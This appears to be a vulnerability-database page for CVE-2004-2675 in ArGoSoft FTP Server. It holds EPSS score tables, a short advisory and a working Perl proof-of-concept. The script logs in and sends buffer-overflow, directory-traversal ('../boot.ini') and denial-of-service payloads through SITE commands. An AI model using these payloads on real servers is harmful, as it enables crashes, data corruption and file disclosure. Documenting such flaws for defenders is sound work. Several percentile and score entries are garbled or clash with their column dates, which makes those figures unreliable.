CVE-2004-2675 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	5.93%	–	–
2022-02-13	–	–	5.93%	–	–
2022-04-03	–	–	5.93%	–	–
2023-02-26	–	–	5.93%	–	–
2023-03-12	–	–	–	2.73%	–
2023-09-03	–	–	–	2.67%	–
2023-10-08	–	–	–	2.59%	–
2024-02-11	–	–	–	2.59%	–
2024-06-02	–	–	–	2.59%	–
2024-09-08	–	–	–	2.59%	–
2024-09-22	–	–	–	2.59%	–
2024-10-13	–	–	–	2.59%	–
2024-12-22	–	–	–	2.08%	–
2025-01-19	–	–	–	2.08%	–
2025-03-18	–	–	–	–	5.57%
2025-03-30	–	–	–	–	5.57%
2025-04-15	–	–	–	–	5.57%
2025-04-15	–	–	–	–	5.57,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	77%
2022-02-13	78%
2022-04-03	9%
2023-02-26	91%
2023-03-12	89%
2023-09-03	89%
2023-10-08	89%
2024-02-11	9%
2024-06-02	9%
2024-09-08	91%
2024-09-22	9%
2024-10-13	91%
2024-12-22	89%
2025-01-19	89%
2025-03-18	9%
2025-03-30	89%
2025-04-15	9%
2025-04-15	9%

source: https://www.securityfocus.com/bid/9770/info ArGoSoft has released version 1.4.1.6 of their FTP Server to address multiple unspecified security vulnerabilities. These issues include three buffer overruns when handling overly long FTP SITE ZIP and SITE COPY commands, a file enumeration issue involving the SITE UNZIP command and user database corruption denial of service attacks via the SITE PASS command. #!/usr/bin/perl # Multiple Vulnerabilities in ArGoSoft FTP Server version 1.4 (1.4.1.4) # Created by Beyond Security Ltd. - All rights reserved. use IO::Socket; $host = "192.168.1.243"; $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2119",, ); unless ($remote) { die "cannot connect to ftp daemon on $host" } print "connected\n"; while (<$remote>) { print $_; if (/220 /) { last; } } $remote->autoflush(1); my $ftp = "USER username\r\n"; print $remote $ftp; print $ftp; sleep(1); while (<$remote>) { print $_; if (/331 /) { last; } } $ftp = join("", "PASS ", "password", "\r\n"); print $remote $ftp; print $ftp; sleep(1); while (<$remote>) { print $_; if (/230 /) { last; } } #$ftp = join ("", "SITE ZIP ", "A"x512, "\r\n"); #$ftp = join ("", "SITE ZIP storm.zip /f:", "A"x2048, "\r\n"); #$ftp = join ("", "SITE COPY ", "A"x2048, " ", "A"x10, "\r\n"); #$ftp = join ("", "SITE UNZIP ", "../boot.ini\r\n"); # Directory Traversal (we know a certain file exists) #$ftp = join ("", "SITE PASS ", "storm ", "A"x3500, "\r\n"); # DoS ... against the user database #Choose one of the above to test the vulnerabilities mentioned print $remote $ftp; print $ftp; sleep(1); while (<$remote>) { print $_; if (/250 Done/) { last; } } close $remote;